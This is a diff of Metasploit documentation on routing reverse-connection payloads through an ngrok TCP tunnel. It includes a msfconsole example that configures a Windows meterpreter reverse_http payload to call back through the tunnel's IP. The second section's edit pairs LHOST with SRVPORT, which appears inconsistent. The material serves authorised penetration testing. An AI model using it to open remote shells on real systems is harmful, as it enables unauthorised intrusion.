@@ -22,17 +22,22 @@ e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe.
22
22
used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and
23
23
ngrok are running on the same host.
24
24
25
+ ** NOTE:** At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others
26
+ require IP addresses to be specified as the target to connect to (the ` LHOST ` option). To ensure the specified payload
27
+ will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the
28
+ value for ` LHOST ` .
29
+
25
30
1 . Start a TCP tunnel using ngrok: ` ngrok tcp localhost:4444 ` .
26
- 1 . ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
27
- address from this line, e.g. ` 4.tcp.ngrok.io:13779 `
31
+ 1 . ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
32
+ port number from this line, e.g. ` 4.tcp.ngrok.io:13779 `
33
+ 1 . Resolve the hostname from the previous step to an IP address.
28
34
1 . Start msfconsole and use the desired payload or exploit module.
29
35
* Using ` msfconsole ` for both generating the payload and handling the connection is recommended over using ` msfvenom `
30
36
for two reasons.
31
37
1 . Using ` msfvenom ` starts up an instance of the framework to generate the payload, making it a slower process.
32
38
2 . Using ` msfconsole ` to configure both the payload and handler simultaneously ensures that the options are set for
33
39
both, eliminating the possibility that they are out of sync.
34
- 1 . Set the ` LHOST ` option to the address noted in step 2, ` 4.tcp.ngrok.io ` in the example. This is where the payload is
35
- expecting to connect to.
40
+ 1 . Set the ` LHOST ` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
36
41
1 . Set the ` LPORT ` option to the port noted in step 2, ` 13779 ` in the example.
37
42
1 . Set the ` ReverseListenerBindAddress ` option to ` 127.0.0.1 ` . This is where the connection will actually be accepted
38
43
from ngrok.
@@ -57,17 +62,23 @@ Version 3.16.0
57
62
Region United States (us)
58
63
Latency 33ms
59
64
Web Interface http://127.0.0.1:4040
60
- Forwarding tcp://0 .tcp.ngrok.io:17511 -> localhost:4444
65
+ Forwarding tcp://4 .tcp.ngrok.io:17511 -> localhost:4444
61
66
62
67
Connections ttl opn rt1 rt5 p50 p90
63
68
0 0 0.00 0.00 0.00 0.00
64
69
```
65
70
66
- metasploit side:
71
+ resolve the hostname ` 4.tcp.ngrok.io ` to an IP address
72
+ ```
73
+ $ dig +short 4.tcp.ngrok.io
74
+ 192.0.2.1
67
75
```
76
+
77
+ metasploit side:
78
+ ``` msf
68
79
msf6 > use payload/windows/x64/meterpreter/reverse_http
69
- msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 0.tcp.ngrok.io
70
- LHOST => 0.tcp.ngrok.io
80
+ msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
81
+ LHOST => 192.0.2.1
71
82
msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
72
83
LPORT => 17511
73
84
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
@@ -103,11 +114,11 @@ tcp tunnel for a reverse-connection payload will not be able to be opened at the
103
114
to open a second tcp tunnel and follow the steps above for the payload configuration.
104
115
105
116
1 . Start a TCP tunnel using ngrok: ` ngrok tcp localhost:4444 ` .
106
- 1 . ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
107
- address from this line, e.g. ` 4.tcp.ngrok.io:13779 `
117
+ 1 . ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
118
+ port number from this line, e.g. ` 4.tcp.ngrok.io:13779 `
119
+ 1 . Resolve the hostname from the previous step to an IP address.
108
120
1 . Start msfconsole and use the desired module.
109
- 1 . Set the ` SRVHOST ` option to the address noted in step 2, ` 4.tcp.ngrok.io ` in the example. This is where the payload is
110
- expecting to connect to.
121
+ 1 . Set the ` LHOST ` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
111
122
1 . Set the ` SRVPORT ` option to the port noted in step 2, ` 13779 ` in the example.
112
123
1 . Set the ` ListenerBindAddress ` option to ` 127.0.0.1 ` . This is where the connection will actually be accepted
113
124
from ngrok.
0 commit comments